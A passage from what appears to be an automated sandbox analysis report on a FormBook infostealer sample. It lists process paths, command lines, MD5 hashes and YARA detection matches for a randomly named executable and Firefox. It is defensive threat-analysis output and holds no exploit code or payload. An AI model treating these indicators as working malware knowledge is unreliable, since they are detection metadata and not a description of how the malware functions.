00000005.00000002.4126780482.0000000002730000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Target ID:	8
Start time:	09:33:30
Start date:	08/10/2024
Path:	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe"
Imagebase:	0xa00000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4131107461.0000000004F90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4131107461.0000000004F90000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	09:33:42
Start date:	08/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff73feb0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true